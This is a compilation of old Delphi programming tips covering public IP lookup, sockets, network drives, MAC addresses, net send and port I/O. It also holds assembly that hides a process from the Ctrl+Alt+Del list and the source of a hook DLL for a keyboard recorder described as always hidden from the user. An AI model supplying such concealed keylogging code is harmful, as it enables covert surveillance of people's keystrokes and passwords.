Overall: { Wenn man hinter einem Router oder Proxy seine richtige Internet-IP herausfinden möchte, dann brauch man die Hilfe von einem externen Internetserver, der einem die IP „verrät“. Realisierbar ist dies mit einer Kombination von PERL und DELPHI. Das folgende Perlscript muss auf einen Webspace, der CGI/Perl unterstützt geladen werden: If you are behind a router or proxy and want to get your real Internet-IP-Address then you need the help of a extern Internet Server. That extern Internet server have to tell you your real Ip-Address. You can make this with a combination of PERL and DELPHI. The following PERL-SCRIPT you have to upload to an Webspace witch allows Perl/CGI-access: } -------------------------------------------------------#!/usr/local/bin/perl use CGI qw/:standard/; print "Content-type: text/html\n\n"; 515
print "BEGINIP".$ENV{REMOTE_ADDR}."ENDIP"; -------------------------------------------------------{ Wenn die Adresse des Script’s http://www.my-server.de/cgi-bin/GiveMeMyIp.pl ist, dann ist der Delphi Quelltext, um die IP rauszufinden: If the address of the Script is "http://www.my-server.de/cgi-bin/GiveMeMyIp.pl" then the Delphi-Code to get your real IP is: } procedure TForm1.Button1Click(Sender: TObject); var IPSTR, IP, HP: string; BeginIP, EndIP, i: integer; begin Button1.Enabled := False; HP := ‘http://www.my-server.de/cgi-bin/GiveMeMyIp.pl’; NMHTTP1.Get(HP); IPSTR := (NMHTTP1.Body); BeginIP := Pos('BEGINIP', IPSTR) + Length('BEGINIP'); EndIP := Pos('ENDIP', IPSTR); IP := ''; for i := BeginIP to ENDip - 1 do begin IP := IP + IPstr[i]; end; label1.Caption := IP; Button1.Enabled := True; end;
516
...send a file from a TServerSocket to a TClientSocket? Author: Elias Zurschmiede Homepage: http://www.delight.ch 0 Comments to this tip [Write new comment] [ Print tip ] unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, StdCtrls; type TForm1 = class(TForm) ClientSocket1: TClientSocket; ServerSocket1: TServerSocket; btnTestSockets: TButton; procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure ClientSocket1Disconnect(Sender: TObject; Socket: TCustomWinSocket); procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket); procedure ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket); procedure btnTestSocketsClick(Sender: TObject); private FStream: TFileStream; { Private-Deklarationen } public { Public-Deklarationen } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); var iLen: Integer; Bfr: Pointer; begin iLen := Socket.ReceiveLength; GetMem(Bfr, iLen); try 517
Socket.ReceiveBuf(Bfr^, iLen); FStream.Write(Bfr^, iLen); finally FreeMem(Bfr); end; end; procedure TForm1.FormCreate(Sender: TObject); begin FStream := nil; end; procedure TForm1.FormDestroy(Sender: TObject); begin if Assigned(FStream) then begin FStream.Free; FStream := nil; end; end; procedure TForm1.ClientSocket1Disconnect(Sender: TObject; Socket: TCustomWinSocket); begin if Assigned(FStream) then begin FStream.Free; FStream := nil; end; end; procedure TForm1.ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket); begin FStream := TFileStream.Create('c:\temp\test.stream.html', fmCreate or fmShareDenyWrite); end; procedure TForm1.ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket); begin Socket.SendStream(TFileStream.Create('c:\temp\test.html', fmOpenRead or fmShareDenyWrite)); end; procedure TForm1.btnTestSocketsClick(Sender: TObject); begin ServerSocket1.Active := True; ClientSocket1.Active := True; end; end. 518
519
...map a network drive (2)? Author: Superhausi 2 Comments to this tip [Write new comment] [ Print tip ] function ConnectDrive(_drvLetter: string; _netPath: string; _showError: Boolean; _reconnect: Boolean): DWORD; var nRes: TNetResource; errCode: DWORD; dwFlags: DWORD; begin { Fill NetRessource with #0 to provide uninitialized values } { NetRessource mit #0 füllen => Keine unitialisierte Werte } FillChar(NRes, SizeOf(NRes), #0); nRes.dwType := RESOURCETYPE_DISK; { Set Driveletter and Networkpath } { Laufwerkbuchstabe und Netzwerkpfad setzen } nRes.lpLocalName := PChar(_drvLetter); nRes.lpRemoteName := PChar(_netPath); { Example: \\Test\C } { Check if it should be saved for use after restart and set flags } { Überprüfung, ob gespeichert werden soll } if _reconnect then dwFlags := CONNECT_UPDATE_PROFILE and CONNECT_INTERACTIVE else dwFlags := CONNECT_INTERACTIVE; errCode := WNetAddConnection3(Form1.Handle, nRes, nil, nil, dwFlags); { Show Errormessage, if flag is set } { Fehlernachricht aneigen } if (errCode <> NO_ERROR) and (_showError) then begin Application.MessageBox(PChar('An error occured while connecting:' + #13#10 + SysErrorMessage(GetLastError)), 'Error while connecting!', MB_OK); end; Result := errCode; { NO_ERROR } end; function ConnectPrinterDevice(_lptPort: string; _netPath: string; _showError: Boolean; _reconnect: Boolean): DWORD; var nRes: TNetResource; errCode: DWORD; dwFlags: DWORD; begin { Fill NetRessource with #0 to provide uninitialized values } { NetRessource mit #0 füllen => Keine unitialisierte Werte } 520
FillChar(NRes, SizeOf(NRes), #0); nRes.dwType := RESOURCETYPE_PRINT; { Set Printername and Networkpath } { Druckername und Netzwerkpfad setzen } nRes.lpLocalName := PChar(_lptPort); nRes.lpRemoteName := PChar(_netPath); { Example: \\Test\Printer1 } { Check if it should be saved for use after restart and set flags } { Überprüfung, ob gespeichert werden soll } if _reconnect then dwFlags := CONNECT_UPDATE_PROFILE and CONNECT_INTERACTIVE else dwFlags := CONNECT_INTERACTIVE; errCode := WNetAddConnection3(Form1.Handle, nRes, nil, nil, dwFlags); { Show Errormessage, if flag is set } { Fehlernachricht aneigen } if (errCode <> NO_ERROR) and (_showError) then begin Application.MessageBox(PChar('An error occured while connecting:' + #13#10 + SysErrorMessage(GetLastError)), 'Error while connecting!', MB_OK); end; Result := errCode; { NO_ERROR } end; function DisconnectNetDrive(_locDrive: string; _showError: Boolean; _force: Boolean; _save: Boolean): DWORD; var dwFlags: DWORD; errCode: DWORD; begin { Set dwFlags, if necessary } { Setze dwFlags auf gewünschten Wert } if _save then dwFlags := CONNECT_UPDATE_PROFILE else dwFlags := 0; { Cancel the connection see also at http://www.swissdelphicenter.ch/en/showcode.php?id=391 } { Siehe auch oben genannten Link (Netzlaufwerke anzeigen) } errCode := WNetCancelConnection2(PChar(_locDrive), dwFlags, _force); { Show Errormessage, if flag is set } { Fehlernachricht anzeigen } if (errCode <> NO_ERROR) and (_showError) then begin Application.MessageBox(PChar('An error occured while disconnecting:' + #13#10 + SysErrorMessage(GetLastError)), 'Error while disconnecting', MB_OK); end; 521
Result := errCode; { NO_ERROR } end; {Beispiel / Example:} procedure TForm1.Button1Click(Sender: TObject); begin ConnectDrive('h:', '\\Servername\C', True, True); end; procedure TForm1.Button2Click(Sender: TObject); begin DisconnectNetDrive('h:', True, True, True); end;
522
...get the MAC Address? Author: Toni G. Homepage: http://www.tgsoft.ch 1 Comment to this tip [Write new comment] [ Print tip ] uses NB30; function GetMACAdress: string; var NCB: PNCB; Adapter: PAdapterStatus; URetCode: PChar; RetCode: char; I: integer; Lenum: PlanaEnum; _SystemID: string; TMPSTR: string; begin Result := ''; _SystemID := ''; Getmem(NCB, SizeOf(TNCB)); Fillchar(NCB^, SizeOf(TNCB), 0); Getmem(Lenum, SizeOf(TLanaEnum)); Fillchar(Lenum^, SizeOf(TLanaEnum), 0); Getmem(Adapter, SizeOf(TAdapterStatus)); Fillchar(Adapter^, SizeOf(TAdapterStatus), 0); Lenum.Length := chr(0); NCB.ncb_command := chr(NCBENUM); NCB.ncb_buffer := Pointer(Lenum); NCB.ncb_length := SizeOf(Lenum); RetCode := Netbios(NCB); i := 0; repeat Fillchar(NCB^, SizeOf(TNCB), 0); Ncb.ncb_command := chr(NCBRESET); Ncb.ncb_lana_num := lenum.lana[I]; RetCode := Netbios(Ncb); Fillchar(NCB^, SizeOf(TNCB), 0); Ncb.ncb_command := chr(NCBASTAT); Ncb.ncb_lana_num := lenum.lana[I]; // Must be 16 Ncb.ncb_callname := '* '; Ncb.ncb_buffer := Pointer(Adapter); 523
Ncb.ncb_length := SizeOf(TAdapterStatus); RetCode := Netbios(Ncb); //---- calc _systemId from mac-address[2-5] XOR mac-address[1]... if (RetCode = chr(0)) or (RetCode = chr(6)) then begin _SystemId := IntToHex(Ord(Adapter.adapter_address[0]), 2) + '-' + IntToHex(Ord(Adapter.adapter_address[1]), 2) + '-' + IntToHex(Ord(Adapter.adapter_address[2]), 2) + '-' + IntToHex(Ord(Adapter.adapter_address[3]), 2) + '-' + IntToHex(Ord(Adapter.adapter_address[4]), 2) + '-' + IntToHex(Ord(Adapter.adapter_address[5]), 2); end; Inc(i); until (I >= Ord(Lenum.Length)) or (_SystemID <> '00-00-00-00-00-00'); FreeMem(NCB); FreeMem(Adapter); FreeMem(Lenum); GetMacAdress := _SystemID; end;
procedure TForm1.Button1Click(Sender: TObject); begin label1.Caption := GetMACAdress; end;
//*************************************************** // Another Code from // http://delphi.vitpc.com/treasury/lan.htm //*************************************************** uses NB30; type TAdapterStatus = record adapter_address: array [0..5] of char; filler: array [1..4 * SizeOf(char) + 19 * SizeOf(Word) + 3 * SizeOf(DWORD)] of Byte; end; THostInfo = record username: PWideChar; logon_domain: PWideChar; oth_domains: PWideChar; logon_server: PWideChar; end;{record} function IsNetConnect: Boolean; 524
begin if GetSystemMetrics(SM_NETWORK) and $01 = $01 then Result := True else Result := False; end;{function} function AdapterToString(Adapter: TAdapterStatus): string; begin with Adapter do Result := Format('%2.2x-%2.2x-%2.2x-%2.2x-%2.2x-%2.2x', [Integer(adapter_address[0]), Integer(adapter_address[1]), Integer(adapter_address[2]), Integer(adapter_address[3]), Integer(adapter_address[4]), Integer(adapter_address[5])]); end;{function} function GetMacAddresses(const Machine: string; const Addresses: TStrings): Integer; const NCBNAMSZ = 16; // absolute length of a net name MAX_LANA = 254; // lana's in range 0 to MAX_LANA inclusive NRC_GOODRET = $00; // good return NCBASTAT = $33; // NCB ADAPTER STATUS NCBRESET = $32; // NCB RESET NCBENUM = $37; // NCB ENUMERATE LANA NUMBERS type PNCB = ^TNCB; TNCBPostProc = procedure(P: PNCB); stdcall; TNCB = record ncb_command: Byte; ncb_retcode: Byte; ncb_lsn: Byte; ncb_num: Byte; ncb_buffer: PChar; ncb_length: Word; ncb_callname: array [0..NCBNAMSZ - 1] of char; ncb_name: array [0..NCBNAMSZ - 1] of char; ncb_rto: Byte; ncb_sto: Byte; ncb_post: TNCBPostProc; ncb_lana_num: Byte; ncb_cmd_cplt: Byte; ncb_reserve: array [0..9] of char; ncb_event: THandle; end; PLanaEnum = ^TLanaEnum; TLanaEnum = record Length: Byte; lana: array [0..MAX_LANA] of Byte; end; ASTAT = record adapt: TAdapterStatus; namebuf: array [0..29] of TNameBuffer; 525
end; var NCB: TNCB; Enum: TLanaEnum; I: integer; Adapter: ASTAT; MachineName: string; begin Result := -1; Addresses.Clear; MachineName := UpperCase(Machine); if MachineName = '' then MachineName := '*'; FillChar(NCB, SizeOf(NCB), #0); NCB.ncb_command := NCBENUM; NCB.ncb_buffer := Pointer(@Enum); NCB.ncb_length := SizeOf(Enum); if Word(NetBios(@NCB)) = NRC_GOODRET then begin Result := Enum.Length; for I := 0 to Ord(Enum.Length) - 1 do begin FillChar(NCB, SizeOf(TNCB), #0); NCB.ncb_command := NCBRESET; NCB.ncb_lana_num := Enum.lana[I]; if Word(NetBios(@NCB)) = NRC_GOODRET then begin FillChar(NCB, SizeOf(TNCB), #0); NCB.ncb_command := NCBASTAT; NCB.ncb_lana_num := Enum.lana[i]; StrLCopy(NCB.ncb_callname, PChar(MachineName), NCBNAMSZ); StrPCopy(@NCB.ncb_callname[Length(MachineName)], StringOfChar(' ', NCBNAMSZ - Length(MachineName))); NCB.ncb_buffer := PChar(@Adapter); NCB.ncb_length := SizeOf(Adapter); if Word(NetBios(@NCB)) = NRC_GOODRET then Addresses.Add(AdapterToString(Adapter.adapt)); end; end; end; end;{function}
526
...implement net send? Author: 3 Comments to this tip [Write new comment] [ Print tip ] function NetSend(dest, Source, Msg: string): Longint; overload; type TNetMessageBufferSendFunction = function(servername, msgname, fromname: PWideChar; buf: PWideChar; buflen: Cardinal): Longint; stdcall; var NetMessageBufferSend: TNetMessageBufferSendFunction; SourceWideChar: PWideChar; DestWideChar: PWideChar; MessagetextWideChar: PWideChar; Handle: THandle; begin Handle := LoadLibrary('NETAPI32.DLL'); if Handle = 0 then begin Result := GetLastError; Exit; end; @NetMessageBufferSend := GetProcAddress(Handle, 'NetMessageBufferSend'); if @NetMessageBufferSend = nil then begin Result := GetLastError; Exit; end; MessagetextWideChar := nil; SourceWideChar := nil; DestWideChar := nil; try GetMem(MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1); GetMem(DestWideChar, 20 * SizeOf(WideChar) + 1); StringToWideChar(Msg, MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1); StringToWideChar(Dest, DestWideChar, 20 * SizeOf(WideChar) + 1); if Source = '' then Result := NetMessageBufferSend(nil, DestWideChar, nil, MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1) else begin GetMem(SourceWideChar, 20 * SizeOf(WideChar) + 1); StringToWideChar(Source, SourceWideChar, 20 * SizeOf(WideChar) + 1); Result := NetMessageBufferSend(nil, DestWideChar, SourceWideChar, MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1); 527
FreeMem(SourceWideChar); end; finally FreeMem(MessagetextWideChar); FreeLibrary(Handle); end; end; function NetSend(Dest, Msg: string): Longint; overload; begin Result := NetSend(Dest, '', Msg); end; function NetSend(Msg: string): Longint; overload; begin Result := NetSend('', '', Msg); end; // Example: procedure TForm1.Button1Click(Sender: TObject); begin NetSend('LoginName', 'Your Message'); end;
528
...enumerate the network connections (drives)? Author: Igor Siticov Homepage: http://www.sicomponents.com 1 Comment to this tip [Write new comment] [ Print tip ] Tip Rating: (15):
{ From the MS-DOS prompt, you can enumerate the network connections (drives) by using the following command: net use Programmatically, you would call WNetOpenEnum() to start the enumeration of connected resources and WNetEnumResources() to continue the enumeration. The following sample code enumerates the network connections: Vom MS-DOS Prompt können die Netzwerk Verbdindungen (Laufwerke) mittels "net use" angezeigt werden. Das folgende Beispiel braucht die WNetOpenEnum, WNetEnumResources Funktionen, um die Netzwerk Verbdindungen aufzulisten. } procedure TForm1.Button1Click(Sender: TObject); var i, dwResult: DWORD; hEnum: THandle; lpnrDrv: PNETRESOURCE; s: string; const cbBuffer: DWORD = 16384; cEntries: DWORD = $FFFFFFFF; begin dwResult := WNetOpenEnum(RESOURCE_CONNECTED, RESOURCETYPE_ANY, 0, nil, hEnum); if (dwResult <> NO_ERROR) then begin ShowMessage('Cannot enumerate network drives.'); Exit; end; s := ''; 529
repeat lpnrDrv := PNETRESOURCE(GlobalAlloc(GPTR, cbBuffer)); dwResult := WNetEnumResource(hEnum, cEntries, lpnrDrv, cbBuffer); if (dwResult = NO_ERROR) then begin s := 'Network drives:'#13#10; for i := 0 to cEntries - 1 do begin if lpnrDrv^.lpLocalName <> nil then s := s + lpnrDrv^.lpLocalName + #9 + lpnrDrv^.lpRemoteName; Inc(lpnrDrv); end; end else if dwResult <> ERROR_NO_MORE_ITEMS then begin s := s + 'Cannot complete network drive enumeration'; GlobalFree(HGLOBAL(lpnrDrv)); break; end; GlobalFree(HGLOBAL(lpnrDrv)); until (dwResult = ERROR_NO_MORE_ITEMS); WNetCloseEnum(hEnum); if s = '' then s := 'No network connections.'; ShowMessage(s); end; {*********************************************************************** FindComp Unit from Fatih Olcer [email protected] ***********************************************************************} unit FindComp; interface uses Windows, Classes; function FindComputers: DWORD; var Computers: TStringList; implementation uses SysUtils; const MaxEntries = 250; function FindComputers: DWORD; 530
var EnumWorkGroupHandle, EnumComputerHandle: THandle; EnumError: DWORD; Network: TNetResource; WorkGroupEntries, ComputerEntries: DWORD; EnumWorkGroupBuffer, EnumComputerBuffer: array[1..MaxEntries] of TNetResource; EnumBufferLength: DWORD; I, J: DWORD; begin Computers.Clear; FillChar(Network, SizeOf(Network), 0); with Network do begin dwScope := RESOURCE_GLOBALNET; dwType := RESOURCETYPE_ANY; dwUsage := RESOURCEUSAGE_CONTAINER; end; EnumError := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @Network, EnumWorkGroupHandle); if EnumError = NO_ERROR then begin WorkGroupEntries := MaxEntries; EnumBufferLength := SizeOf(EnumWorkGroupBuffer); EnumError := WNetEnumResource(EnumWorkGroupHandle, WorkGroupEntries, @EnumWorkGroupBuffer, EnumBufferLength); if EnumError = NO_ERROR then begin for I := 1 to WorkGroupEntries do begin EnumError := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY, 0, @EnumWorkGroupBuffer[I], EnumComputerHandle); if EnumError = NO_ERROR then begin ComputerEntries := MaxEntries; EnumBufferLength := SizeOf(EnumComputerBuffer); EnumError := WNetEnumResource(EnumComputerHandle, ComputerEntries, @EnumComputerBuffer, EnumBufferLength); if EnumError = NO_ERROR then for J := 1 to ComputerEntries do Computers.Add(Copy(EnumComputerBuffer[J].lpRemoteName, 3, Length(EnumComputerBuffer[J].lpRemoteName) - 2)); WNetCloseEnum(EnumComputerHandle); end; end; end; WNetCloseEnum(EnumWorkGroupHandle); 531
end; if EnumError = ERROR_NO_MORE_ITEMS then EnumError := NO_ERROR; Result := EnumError; end; initialization Computers := TStringList.Create; finalization Computers.Free; end.
532
procedure SetPort(address, Value: Word); var bValue: Byte; begin bValue := trunc(Value and 255); asm mov dx, address mov al, bValue out dx, al end; end; function GetPort(address: Word): Word; var bValue: Byte; begin asm mov dx, address in al, dx mov bValue, al end; GetPort := bValue; end; procedure Sound(aFreq, aDelay: Integer); procedure DoSound(Freq: Word); var B: Byte; begin if Freq > 18 then begin Freq := Word(1193181 div Longint(Freq)); B := Byte(GetPort($61)); if (B and 3) = 0 then begin SetPort($61, Word(B or 3)); SetPort($43, $B6); end; SetPort($42, Freq); SetPort($42, Freq shr 8); end; end; procedure Delay(MSecs: Integer); var FirstTickCount: LongInt; begin FirstTickCount := GetTickCount; repeat 533
Application.ProcessMessages; until ((GetTickCount - FirstTickCount) >= (MSecs)); end; begin if Win32Platform = VER_PLATFORM_WIN32_NT then begin Windows.Beep(aFreq, aDelay); end else begin DoSound(aFreq); Delay(aDelay); end; end; procedure NoSound; var Value: Word; begin Value := GetPort($61) and $FC; SetPort($61, Value); end;
534
To: From: Subject: Date: Groups:
Article "Paul Agics"
Previo Previo Printe Next Next Siblin us us Threa Result r Searc Parent Child in in g d s in in friendl h thread search thread search y Hiding your program from the Ctrl+Alt+Del list Here's a question that I have seen a lot. To accomplish this, you need to resister the program as a service, by passing its process ID to the RegisterService() function. This method makes use of the API GetProcAddress to get the function pointer for RegisterServiceProcess API. This function pointer is then used to call the RegisterServiceProcess function. Hiding the Application: ----------------------------------------------------------------------------; defined in the data section szKernel32 db "Kernel32.dll",0 szRSP db "RegisterServiceProcess",0 ; code to hide application from alt+ctrl+del push offset szKernel32 call GetModuleHandle ; get the handle of kernel32.dll push offset szRSP push eax call GetProcAddress ; get the address of the function mov ebx, eax ; save the pointer into ebx call GetCurrentProcessId ; get the current process's id push 1 ; 1 = Register as Service push eax ; process id call ebx ; call RegisterServiceProcess Cleaning Up: ----------------------------------------------------------------------------You should always call RegisterServiceProcess again (using the previously described methods), but instead passing a 0 for the dwType argument, so that your program will unregister itself, and frees up its resources. ; code to un-hide application from alt+ctrl+del push offset szKernel32 535
call GetModuleHandle ; get the handle of kernel32.dll push offset szRSP push eax call GetProcAddress ; get the address of the function mov ebx, eax ; save the pointer into ebx call GetCurrentProcessId ; get the current process's id push 0 ; 0 = UnRegister as Service push eax ; process id call ebx ; call RegisterServiceProcess RegisterServiceProcess: ----------------------------------------------------------------------------The RegisterServiceProcess function registers or unregisters a service process. A service process continues to run after the user logs off. To call RegisterServiceProcess, retrieve a function pointer using GetProcAddress on KERNEL32.DLL. Use the function pointer to call RegisterServiceProcess. DWORD RegisterServiceProcess( DWORD dwProcessId, DWORD dwType ); Parameters dwProcessId Specifies the identifier of the process to register as a service process. Specifies NULL to register the current process. dwType Specifies whether the service is to be registered or unregistered. This parameter can be one of the following values. Value Meaning 0 Unregisters the process as a service process. 1 Registers the process as a service process. Return Values The return value is 1 if successful or 0 if an error occurs.
536
I have a keyboard recorder program. The program itself is always hidden from the user and it installs a global keyboard hook and catches all the messages. For a keyboard hook an extra dll is required because the hook procedure has to be in a dll. So here I am posting that dll. Dll itself is a slight modification of an example I took from this conference I think. ----------------------------------------------------------------------unit HookRec; interface uses Windows, Messages, SysUtils; {Define a record for recording and passing information process wide} type PHookRec = ^THookRec; THookRec = packed record // Handle of a keyboard hook HookHandle: HHOOK; // Window for sending WM_CHAR and WM_DEADCHAR messages LogWnd: HWND; // Application handle from the calling app (Application.Handle) AppWnd: HWND; end; implementation end. ----------------------------------------------------------------------library KeyHook; uses Windows, Messages, SysUtils, HookRec in 'HookRec.pas'; var hObjHandle: THandle; {Variable for the file mapping object} lpHookRec: PHookRec; {Pointer to our hook record} procedure ErrMessage(msg: string); begin MessageBox(0, PChar(msg), 'Hook DLL', MB_OK); end; procedure MapFileMemory(dwAllocSize : DWORD); 537
var bCreated: boolean; begin {Create a process wide memory mapped variable} hObjHandle := CreateFileMapping($FFFFFFFF, NIL, PAGE_READWRITE, 0, dwAllocSize, 'HookRecMemBlock'); bCreated := GetLastError <> ERROR_ALREADY_EXISTS; if (hObjHandle = 0) then begin ErrMessage('Could not create file map object'); exit; end; {Get a pointer to our process wide memory mapped variable} lpHookRec := MapViewOfFile(hObjHandle, FILE_MAP_WRITE, 0, 0, dwAllocSize); if (lpHookRec = NIL) then begin CloseHandle(hObjHandle); ErrMessage('Could not map file'); exit; end; if bCreated then begin FillChar(lpHookRec^, dwAllocSize, 0); end; end; procedure UnMapFileMemory; begin {Delete our process wide memory mapped variable} if (lpHookRec <> NIL) then begin UnMapViewOfFile(lpHookRec); lpHookRec := NIL; end; if (hObjHandle > 0) then begin CloseHandle(hObjHandle); hObjHandle := 0; end; end; function GetHookRecPointer: PHookRec; stdcall; begin {Return a pointer to our process wide memory mapped variable} result := lpHookRec; end; {The function that actually processes the keystrokes for our hook} function KeyBoardProc(Code : integer; wParam : integer; lParam : integer): integer; stdcall; var 538
KeyUp : bool; {Remove comments for additional functionability IsAltPressed : bool; IsCtrlPressed : bool; IsShiftPressed : bool; } m: Msg; begin result := 0; case Code of HC_ACTION: begin {We trap the keystrokes here} {Is this a key up message?} KeyUp := ((lParam AND (1 shl 31)) <> 0); (*Remove comments for additional functionability {Is the Alt key pressed} IsAltPressed := (lParam AND (1 shl 29)) <> 0; {Is the Control key pressed} IsCtrlPressed := (GetKeyState(VK_CONTROL) AND (1 shl 15)) <> 0; {if the Shift key pressed} IsShiftPressed := (GetKeyState(VK_SHIFT) AND (1 shl 15)) <> 0; *) m.hwnd := lpHookRec^.LogWnd; m.wParam := wParam; m.lParam := lParam; if KeyUp (*and (wParam in [32..255])*) then begin m.message := WM_KEYUP; end else begin m.message := WM_KEYDOWN; end; TranslateMessage(m); {Allow the keystroke} result := 0; end; {HC_ACTION} HC_NOREMOVE: begin {This is a keystroke message, but the keystroke message} {has not been removed from the message queue, since an} {application has called PeekMessage() specifying PM_NOREMOVE} result := 0; exit; end; 539
end; {case code} if (Code < 0) then {Call the next hook in the hook chain} result := CallNextHookEx(lpHookRec^.HookHandle, Code, wParam, lParam); end; procedure StartKeyBoardHook; stdcall; begin {If we have a process wide memory variable} {and the hook has not already been set...} if ((lpHookRec <> NIL) AND (lpHookRec^.HookHandle = 0)) then begin {Set the hook and remember our hook handle} lpHookRec^.HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyBoardProc, hInstance, 0); end; end; procedure StopKeyBoardHook; stdcall; begin {If we have a process wide memory variable} {and the hook has already been set...} if ((lpHookRec <> NIL) AND (lpHookRec^.HookHandle <> 0)) then begin {Remove our hook and clear our hook handle} if (UnHookWindowsHookEx(lpHookRec^.HookHandle) <> FALSE) then begin lpHookRec^.HookHandle := 0; end; end; end; procedure DllEntryPoint(dwReason : DWORD); begin case dwReason of Dll_Process_Attach: begin {If we are getting mapped into a process, then get} {a pointer to our process wide memory mapped variable} hObjHandle := 0; lpHookRec := NIL; MapFileMemory(sizeof(lpHookRec^)); end; Dll_Process_Detach: begin {If we are getting unmapped from a process then, remove} {the pointer to our process wide memory mapped variable} UnMapFileMemory; end; end; end; 540
exports KeyBoardProc, GetHookRecPointer, StartKeyBoardHook, StopKeyBoardHook; begin {Set our Dll's main entry point} DLLProc := @DllEntryPoint; {Call our Dll's main entry point} DllEntryPoint(Dll_Process_Attach); end. ------------------------------------------------------------------------------------unit KeyHook; (* Interface to the KeyHook dll *) interface uses HookRec; procedure StartKeyBoardHook; stdcall; external 'KeyHook.dll'; procedure StopKeyBoardHook; stdcall; external 'KeyHook.dll'; function GetHookRecPointer: PHookRec; stdcall; external 'KeyHook.dll'; implementation end. ------------------------------------------------------------------------------------To use the dll in your form just put the following code ... if GetHookRecPointer <> nil then with GetHookRecPointer^ do begin LogWnd := Self.Handle; AppWnd := Application.Handle; end; StartKeyBoardHook; And also override the WndProc for procesing (WM_CHAR and WM_DEADCHAR) key messages ... type TfmLog = class(TForm) private { Private declarations } procedure WndProc(var Msg : TMessage); override; public end; 541
procedure TfmLog.WndProc(var Msg : TMessage); begin if (Msg.Msg = WM_CHAR) or (Msg.Msg = WM_DEADCHAR) then (* Do what ever you want with the ascii char code in Msg.WParam *) else inherited; end; Special note .... this fmLog form should have no accelerator keys (labels with hot letters like '&Button') because those letters would not be processed by WndProc ... hope this helps, tomi.
542
Q) How can I create a system wide keyboard hook under Win32? A) The following example demonstrates creating a system wide windows hook under Win32. The example provides both the code for the system hook dll and an example application. The hook function that we will create will also demonstrate advanced coding techniques such as sharing global memory across process boundaries using memory mapped files, sending messages from the key hook function back to the originating application, and dynamic loading of a dll at runtime. The example keyboard hook that we create will keep a count of the number of keystrokes a user enters on the keyboard. Further, we will demonstrate trapping the enter key, and passing a message back to the application that initiated the keyboard hook each time the enter key is pressed. Finally, we will demonstrate trapping the left arrow key and instead of letting it through to the current application, we will instead replace it with a right arrow keystroke. (Note: that this can cause much confusion to a unsuspecting user). Adding a hook to the windows system involves calling the Windows API function SetWindowsHookEx() and passing it the type of hook you wish to install, and address of the hook function you are installing. System wide hook functions are required to reside in a dynamic link library, since they must be mapped into each process on the system. The SetWindowsHookEx() function adds your hook function into the Windows "hook chain", returning a handle (or id) of the hook you are installing. You will use this handle to identify your hook to windows, and to remove your hook when you are done trapping the keyboard. The Windows "hook chain" is a linked list of functions that Windows uses to keep track of all the installed hooks, allowing multiple hooks to be installed at any given time. Occasionally, Windows will ask your hook function to call the next hook in the chain, allowing all the hooks an opportunity to function. When we do call the next hook in the chain, we will need to identify ourselves by passing the handle of our hook function to the next hook. Creating a Windows hook requires special handling under Win32, since the dll must be mapped (on the fly) into the process space of every application that receives keystrokes. Normally, this is not an issue, however, when operating inside a keyhook procedure, global variables (such as your hook handle) must be preserved while the dll is mapped into other process spaces. Under Win16, this would not be a program, since dlls had a single data segment that was shared across all process mappings. Under Win32, each mapping of the dll receives its own data segment. This means that as the dll that contains the keyboard hook is mapped into each process that receives keystrokes, it receives a new data segment, and new unitialized variables with it. This is a problem, since global variables (such as your hook handle) must be preserved across process mappings. To solve this problem, we will take advantage of Win32's ability to memory map variables from the system paging file. 543
Each time our dll is mapped into a process, the DllMain() function in our dll will be called by windows, with a parameter flag indicating the reason for the call. When we receive the DLL_PROCESS_ATTACH flag (indicating our dll is getting mapped into a different process), we will create a file mapping to the system paging file and get a pointer to our memory mapped variables. When we receive the DLL_PROCESS_DETACH flag (indicating our dll is getting un-mapped from a process), we will free our file mapping of the system paging file. The variables we will need to keep track of (and have access to from both the dll and the application that originally loaded the keyboard hook) are placed in a record structure called THookRec. The THookRec structure has the following fields: TheHookHandle : The handle (id) of the Keyboard hook that we set. We will need access to this variable during the execution of the keyhook function, to identify ourselves to windows when we are asked to call the next hook in the hook chain. We will also need access to this variable when we remove our hook. Finally, the originating application that will receive the messages from our hook function can access this variable to see if and when the hook is active. TheAppWinHandle : While this variable is not used in our example dll or application, it is a starting place for adding additional messaging capabilities between the hook function and your application that initiates the hook. It can also be useful for determining if the hook is functioning while mapped into the context of the initiating application. TheCtrlWinHandle : This variable will hold the handle to a button control in our initiating application. We will use this handle to send messages from the keyboard hook function to the button control. Every time the enter key is pressed, we will send a WM_KEYDOWN and a WM_KEYUP message to the button and a key value of 0 (zero). We will trap the OnKeyDown event in the button control, and keep count of the number of times the user presses the enter key. TheKeyCount : This variable will keep track of the total number of key presses made by the user. Obviously our keyhook will need access to this variable to increment its value, and the originating application that will receive the messages from our hook function will want to access this variable to display real time results. The DLL contains the following functions: MapFileMemory : Creates a system paging file mapping object and initializes a pointer to our mapping variable of type THookRec. UnMapFileMemory : Frees the system paging file mapping object and mapping variable created by the MapFileMemory() function. GetHookRecPointer : An exported function that returns a pointer to the mapping variable created by the MapFileMemory() function. The initiating application can both set and examine this memory block, and 544
